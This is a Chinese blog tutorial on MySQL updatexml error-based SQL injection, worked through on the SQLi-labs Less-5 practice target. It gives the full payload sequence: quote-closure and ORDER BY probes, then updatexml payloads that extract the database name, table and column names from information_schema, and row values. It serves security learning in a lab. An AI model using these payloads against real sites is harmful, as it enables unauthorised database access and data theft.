【手工注入篇】updatexml报错注入

发布时间 2023-11-12 21:29:29作者: 橙子全栈测试笔记

一、描述

updatexml(xml_target, xpath_expr, new_val)

  • xml_target:要进行修改的 XML 类型的字段,或者是 XML 文档字符串。
  • xpath_expr:XPath 表达式,用于定位要更新的节点。
  • new_val:新的值,用于替换被定位到的节点的内容。

格式简化 updatexml(xx,concat(xx),xx)

concat函数用来拼接字符

把第二个参数改为非xpath格式 就会报错 但报错的信息是什么呢?

他会把校验失败的数据爆出来

第一个和第二个参数可以随便写 因为我们需要的是第二个参数的报错信息

二、做题

http://14.116.152.57:5100/Less-5/

1、判断类型

?id=1 and 1=1

?id=1 and 1=2

2、判断注入类型
?id=1" and 1=1
?id=1' and 1=2

 经过分析该场景为字符型注入

构造闭合

?id=1' and 1=1 -- q

 

查询字段数、
?id=1' order by 1 -- q

?id=1' order by 2 -- q

?id=1' order by 3 -- q

?id=1' order by 4 -- q

显位

?id=88' union select 1,2,3 -- q

 无法识别

 

发现即使调整了id的值 并没有产生回显点

没有显错位的注入 可以考虑从盲注入手

但这里先不采用盲注 用另一种报错信息方式updatexml来回显

3、updatexml报错

爆库
?id=1' and 1=1 and updatexml(1,concat('!',database(),'!'),1) -- q

 

爆表
?id=1' and 1=1 and updatexml(1,concat('!',(select table_name from information_schema.tables where table_schema="security" limit 0,1),'!'),1) -- q

爆列
?id=1' and 1=1 and updatexml(1,concat('!',(select column_name from information_schema.columns where table_schema='security' and table_name='emails' limit 0,1),'!'),1) -- q

爆值
?id=1' and 1=1 and updatexml(1,concat('!',(select id from emails limit 0,1),'!'),1) -- q